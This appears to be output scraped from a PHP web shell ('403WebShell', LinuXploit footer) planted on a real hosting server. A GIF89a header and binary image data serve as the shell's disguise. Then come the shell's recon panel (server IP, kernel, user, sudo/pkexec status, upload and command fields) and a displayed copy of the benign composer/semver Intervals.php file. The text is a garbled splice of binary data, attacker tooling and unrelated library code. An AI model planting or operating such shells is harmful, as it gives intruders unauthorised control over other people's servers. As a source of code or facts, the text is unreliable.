GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 216.73.217.145
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/composer/semver/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/composer/semver/src/Intervals.php
<?php

/*
 * This file is part of composer/semver.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */
namespace RectorPrefix202411\Composer\Semver;

use RectorPrefix202411\Composer\Semver\Constraint\Constraint;
use RectorPrefix202411\Composer\Semver\Constraint\ConstraintInterface;
use RectorPrefix202411\Composer\Semver\Constraint\MatchAllConstraint;
use RectorPrefix202411\Composer\Semver\Constraint\MatchNoneConstraint;
use RectorPrefix202411\Composer\Semver\Constraint\MultiConstraint;
/**
 * Helper class generating intervals from constraints
 *
 * This contains utilities for:
 *
 *  - compacting an existing constraint which can be used to combine several into one
 * by creating a MultiConstraint out of the many constraints you have.
 *
 *  - checking whether one subset is a subset of another.
 *
 * Note: You should call clear to free memoization memory  usage when you are done using this class
 */
class Intervals
{
    /**
     * @phpstan-var array<string, array{'numeric': Interval[], 'branches': array{'names': string[], 'exclude': bool}}>
     */
    private static $intervalsCache = array();
    /**
     * @phpstan-var array<string, int>
     */
    private static $opSortOrder = array('>=' => -3, '<' => -2, '>' => 2, '<=' => 3);
    /**
     * Clears the memoization cache once you are done
     *
     * @return void
     */
    public static function clear()
    {
        self::$intervalsCache = array();
    }
    /**
     * Checks whether $candidate is a subset of $constraint
     *
     * @return bool
     */
    public static function isSubsetOf(ConstraintInterface $candidate, ConstraintInterface $constraint)
    {
        if ($constraint instanceof MatchAllConstraint) {
            return \true;
        }
        if ($candidate instanceof MatchNoneConstraint || $constraint instanceof MatchNoneConstraint) {
            return \false;
        }
        $intersectionIntervals = self::get(new MultiConstraint(array($candidate, $constraint), \true));
        $candidateIntervals = self::get($candidate);
        if (\count($intersectionIntervals['numeric']) !== \count($candidateIntervals['numeric'])) {
            return \false;
        }
        foreach ($intersectionIntervals['numeric'] as $index => $interval) {
            if (!isset($candidateIntervals['numeric'][$index])) {
                return \false;
            }
            if ((string) $candidateIntervals['numeric'][$index]->getStart() !== (string) $interval->getStart()) {
                return \false;
            }
            if ((string) $candidateIntervals['numeric'][$index]->getEnd() !== (string) $interval->getEnd()) {
                return \false;
            }
        }
        if ($intersectionIntervals['branches']['exclude'] !== $candidateIntervals['branches']['exclude']) {
            return \false;
        }
        if (\count($intersectionIntervals['branches']['names']) !== \count($candidateIntervals['branches']['names'])) {
            return \false;
        }
        foreach ($intersectionIntervals['branches']['names'] as $index => $name) {
            if ($name !== $candidateIntervals['branches']['names'][$index]) {
                return \false;
            }
        }
        return \true;
    }
    /**
     * Checks whether $a and $b have any intersection, equivalent to $a->matches($b)
     *
     * @return bool
     */
    public static function haveIntersections(ConstraintInterface $a, ConstraintInterface $b)
    {
        if ($a instanceof MatchAllConstraint || $b instanceof MatchAllConstraint) {
            return \true;
        }
        if ($a instanceof MatchNoneConstraint || $b instanceof MatchNoneConstraint) {
            return \false;
        }
        $intersectionIntervals = self::generateIntervals(new MultiConstraint(array($a, $b), \true), \true);
        return \count($intersectionIntervals['numeric']) > 0 || $intersectionIntervals['branches']['exclude'] || \count($intersectionIntervals['branches']['names']) > 0;
    }
    /**
     * Attempts to optimize a MultiConstraint
     *
     * When merging MultiConstraints together they can get very large, this will
     * compact it by looking at the real intervals covered by all the constraints
     * and then creates a new constraint containing only the smallest amount of rules
     * to match the same intervals.
     *
     * @return ConstraintInterface
     */
    public static function compactConstraint(ConstraintInterface $constraint)
    {
        if (!$constraint instanceof MultiConstraint) {
            return $constraint;
        }
        $intervals = self::generateIntervals($constraint);
        $constraints = array();
        $hasNumericMatchAll = \false;
        if (\count($intervals['numeric']) === 1 && (string) $intervals['numeric'][0]->getStart() === (string) Interval::fromZero() && (string) $intervals['numeric'][0]->getEnd() === (string) Interval::untilPositiveInfinity()) {
            $constraints[] = $intervals['numeric'][0]->getStart();
            $hasNumericMatchAll = \true;
        } else {
            $unEqualConstraints = array();
            for ($i = 0, $count = \count($intervals['numeric']); $i < $count; $i++) {
                $interval = $intervals['numeric'][$i];
                // if current interval ends with < N and next interval begins with > N we can swap this out for != N
                // but this needs to happen as a conjunctive expression together with the start of the current interval
                // and end of next interval, so [>=M, <N] || [>N, <P] => [>=M, !=N, <P] but M/P can be skipped if
                // they are zero/+inf
                if ($interval->getEnd()->getOperator() === '<' && $i + 1 < $count) {
                    $nextInterval = $intervals['numeric'][$i + 1];
                    if ($interval->getEnd()->getVersion() === $nextInterval->getStart()->getVersion() && $nextInterval->getStart()->getOperator() === '>') {
                        // only add a start if we didn't already do so, can be skipped if we're looking at second
                        // interval in [>=M, <N] || [>N, <P] || [>P, <Q] where unEqualConstraints currently contains
                        // [>=M, !=N] already and we only want to add !=P right now
                        if (\count($unEqualConstraints) === 0 && (string) $interval->getStart() !== (string) Interval::fromZero()) {
                            $unEqualConstraints[] = $interval->getStart();
                        }
                        $unEqualConstraints[] = new Constraint('!=', $interval->getEnd()->getVersion());
                        continue;
                    }
                }
                if (\count($unEqualConstraints) > 0) {
                    // this is where the end of the following interval of a != constraint is added as explained above
                    if ((string) $interval->getEnd() !== (string) Interval::untilPositiveInfinity()) {
                        $unEqualConstraints[] = $interval->getEnd();
                    }
                    // count is 1 if entire constraint is just one != expression
                    if (\count($unEqualConstraints) > 1) {
                        $constraints[] = new MultiConstraint($unEqualConstraints, \true);
                    } else {
                        $constraints[] = $unEqualConstraints[0];
                    }
                    $unEqualConstraints = array();
                    continue;
                }
                // convert back >= x - <= x intervals to == x
                if ($interval->getStart()->getVersion() === $interval->getEnd()->getVersion() && $interval->getStart()->getOperator() === '>=' && $interval->getEnd()->getOperator() === '<=') {
                    $constraints[] = new Constraint('==', $interval->getStart()->getVersion());
                    continue;
                }
                if ((string) $interval->getStart() === (string) Interval::fromZero()) {
                    $constraints[] = $interval->getEnd();
                } elseif ((string) $interval->getEnd() === (string) Interval::untilPositiveInfinity()) {
                    $constraints[] = $interval->getStart();
                } else {
                    $constraints[] = new MultiConstraint(array($interval->getStart(), $interval->getEnd()), \true);
                }
            }
        }
        $devConstraints = array();
        if (0 === \count($intervals['branches']['names'])) {
            if ($intervals['branches']['exclude']) {
                if ($hasNumericMatchAll) {
                    return new MatchAllConstraint();
                }
                // otherwise constraint should contain a != operator and already cover this
            }
        } else {
            foreach ($intervals['branches']['names'] as $branchName) {
                if ($intervals['branches']['exclude']) {
                    $devConstraints[] = new Constraint('!=', $branchName);
                } else {
                    $devConstraints[] = new Constraint('==', $branchName);
                }
            }
            // excluded branches, e.g. != dev-foo are conjunctive with the interval, so
            // > 2.0 != dev-foo must return a conjunctive constraint
            if ($intervals['branches']['exclude']) {
                if (\count($constraints) > 1) {
                    return new MultiConstraint(\array_merge(array(new MultiConstraint($constraints, \false)), $devConstraints), \true);
                }
                if (\count($constraints) === 1 && (string) $constraints[0] === (string) Interval::fromZero()) {
                    if (\count($devConstraints) > 1) {
                        return new MultiConstraint($devConstraints, \true);
                    }
                    return $devConstraints[0];
                }
                return new MultiConstraint(\array_merge($constraints, $devConstraints), \true);
            }
            // otherwise devConstraints contains a list of == operators for branches which are disjunctive with the
            // rest of the constraint
            $constraints = \array_merge($constraints, $devConstraints);
        }
        if (\count($constraints) > 1) {
            return new MultiConstraint($constraints, \false);
        }
        if (\count($constraints) === 1) {
            return $constraints[0];
        }
        return new MatchNoneConstraint();
    }
    /**
     * Creates an array of numeric intervals and branch constraints representing a given constraint
     *
     * if the returned numeric array is empty it means the constraint matches nothing in the numeric range (0 - +inf)
     * if the returned branches array is empty it means no dev-* versions are matched
     * if a constraint matches all possible dev-* versions, branches will contain Interval::anyDev()
     *
     * @return array
     * @phpstan-return array{'numeric': Interval[], 'branches': array{'names': string[], 'exclude': bool}}
     */
    public static function get(ConstraintInterface $constraint)
    {
        $key = (string) $constraint;
        if (!isset(self::$intervalsCache[$key])) {
            self::$intervalsCache[$key] = self::generateIntervals($constraint);
        }
        return self::$intervalsCache[$key];
    }
    /**
     * @param bool $stopOnFirstValidInterval
     *
     * @phpstan-return array{'numeric': Interval[], 'branches': array{'names': string[], 'exclude': bool}}
     */
    private static function generateIntervals(ConstraintInterface $constraint, $stopOnFirstValidInterval = \false)
    {
        if ($constraint instanceof MatchAllConstraint) {
            return array('numeric' => array(new Interval(Interval::fromZero(), Interval::untilPositiveInfinity())), 'branches' => Interval::anyDev());
        }
        if ($constraint instanceof MatchNoneConstraint) {
            return array('numeric' => array(), 'branches' => array('names' => array(), 'exclude' => \false));
        }
        if ($constraint instanceof Constraint) {
            return self::generateSingleConstraintIntervals($constraint);
        }
        if (!$constraint instanceof MultiConstraint) {
            throw new \UnexpectedValueException('The constraint passed in should be an MatchAllConstraint, Constraint or MultiConstraint instance, got ' . \get_class($constraint) . '.');
        }
        $constraints = $constraint->getConstraints();
        $numericGroups = array();
        $constraintBranches = array();
        foreach ($constraints as $c) {
            $res = self::get($c);
            $numericGroups[] = $res['numeric'];
            $constraintBranches[] = $res['branches'];
        }
        if ($constraint->isDisjunctive()) {
            $branches = Interval::noDev();
            foreach ($constraintBranches as $b) {
                if ($b['exclude']) {
                    if ($branches['exclude']) {
                        // disjunctive constraint, so only exclude what's excluded in all constraints
                        // !=a,!=b || !=b,!=c => !=b
                        $branches['names'] = \array_intersect($branches['names'], $b['names']);
                    } else {
                        // disjunctive constraint so exclude all names which are not explicitly included in the alternative
                        // (==b || ==c) || !=a,!=b => !=a
                        $branches['exclude'] = \true;
                        $branches['names'] = \array_diff($b['names'], $branches['names']);
                    }
                } else {
                    if ($branches['exclude']) {
                        // disjunctive constraint so exclude all names which are not explicitly included in the alternative
                        // !=a,!=b || (==b || ==c) => !=a
                        $branches['names'] = \array_diff($branches['names'], $b['names']);
                    } else {
                        // disjunctive constraint, so just add all the other branches
                        // (==a || ==b) || ==c => ==a || ==b || ==c
                        $branches['names'] = \array_merge($branches['names'], $b['names']);
                    }
                }
            }
        } else {
            $branches = Interval::anyDev();
            foreach ($constraintBranches as $b) {
                if ($b['exclude']) {
                    if ($branches['exclude']) {
                        // conjunctive, so just add all branch names to be excluded
                        // !=a && !=b => !=a,!=b
                        $branches['names'] = \array_merge($branches['names'], $b['names']);
                    } else {
                        // conjunctive, so only keep included names which are not excluded
                        // (==a||==c) && !=a,!=b => ==c
                        $branches['names'] = \array_diff($branches['names'], $b['names']);
                    }
                } else {
                    if ($branches['exclude']) {
                        // conjunctive, so only keep included names which are not excluded
                        // !=a,!=b && (==a||==c) => ==c
                        $branches['names'] = \array_diff($b['names'], $branches['names']);
                        $branches['exclude'] = \false;
                    } else {
                        // conjunctive, so only keep names that are included in both
                        // (==a||==b) && (==a||==c) => ==a
                        $branches['names'] = \array_intersect($branches['names'], $b['names']);
                    }
                }
            }
        }
        $branches['names'] = \array_unique($branches['names']);
        if (\count($numericGroups) === 1) {
            return array('numeric' => $numericGroups[0], 'branches' => $branches);
        }
        $borders = array();
        foreach ($numericGroups as $group) {
            foreach ($group as $interval) {
                $borders[] = array('version' => $interval->getStart()->getVersion(), 'operator' => $interval->getStart()->getOperator(), 'side' => 'start');
                $borders[] = array('version' => $interval->getEnd()->getVersion(), 'operator' => $interval->getEnd()->getOperator(), 'side' => 'end');
            }
        }
        $opSortOrder = self::$opSortOrder;
        \usort($borders, function ($a, $b) use($opSortOrder) {
            $order = \version_compare($a['version'], $b['version']);
            if ($order === 0) {
                return $opSortOrder[$a['operator']] - $opSortOrder[$b['operator']];
            }
            return $order;
        });
        $activeIntervals = 0;
        $intervals = array();
        $index = 0;
        $activationThreshold = $constraint->isConjunctive() ? \count($numericGroups) : 1;
        $start = null;
        foreach ($borders as $border) {
            if ($border['side'] === 'start') {
                $activeIntervals++;
            } else {
                $activeIntervals--;
            }
            if (!$start && $activeIntervals >= $activationThreshold) {
                $start = new Constraint($border['operator'], $border['version']);
            } elseif ($start && $activeIntervals < $activationThreshold) {
                // filter out invalid intervals like > x - <= x, or >= x - < x
                if (\version_compare($start->getVersion(), $border['version'], '=') && ($start->getOperator() === '>' && $border['operator'] === '<=' || $start->getOperator() === '>=' && $border['operator'] === '<')) {
                    unset($intervals[$index]);
                } else {
                    $intervals[$index] = new Interval($start, new Constraint($border['operator'], $border['version']));
                    $index++;
                    if ($stopOnFirstValidInterval) {
                        break;
                    }
                }
                $start = null;
            }
        }
        return array('numeric' => $intervals, 'branches' => $branches);
    }
    /**
     * @phpstan-return array{'numeric': Interval[], 'branches': array{'names': string[], 'exclude': bool}}
     */
    private static function generateSingleConstraintIntervals(Constraint $constraint)
    {
        $op = $constraint->getOperator();
        // handle branch constraints first
        if (\strpos($constraint->getVersion(), 'dev-') === 0) {
            $intervals = array();
            $branches = array('names' => array(), 'exclude' => \false);
            // != dev-foo means any numeric version may match, we treat >/< like != they are not really defined for branches
            if ($op === '!=') {
                $intervals[] = new Interval(Interval::fromZero(), Interval::untilPositiveInfinity());
                $branches = array('names' => array($constraint->getVersion()), 'exclude' => \true);
            } elseif ($op === '==') {
                $branches['names'][] = $constraint->getVersion();
            }
            return array('numeric' => $intervals, 'branches' => $branches);
        }
        if ($op[0] === '>') {
            // > & >=
            return array('numeric' => array(new Interval($constraint, Interval::untilPositiveInfinity())), 'branches' => Interval::noDev());
        }
        if ($op[0] === '<') {
            // < & <=
            return array('numeric' => array(new Interval(Interval::fromZero(), $constraint)), 'branches' => Interval::noDev());
        }
        if ($op === '!=') {
            // convert !=x to intervals of 0 - <x && >x - +inf + dev*
            return array('numeric' => array(new Interval(Interval::fromZero(), new Constraint('<', $constraint->getVersion())), new Interval(new Constraint('>', $constraint->getVersion()), Interval::untilPositiveInfinity())), 'branches' => Interval::anyDev());
        }
        // convert ==x to an interval of >=x - <=x
        return array('numeric' => array(new Interval(new Constraint('>=', $constraint->getVersion()), new Constraint('<=', $constraint->getVersion()))), 'branches' => Interval::noDev());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit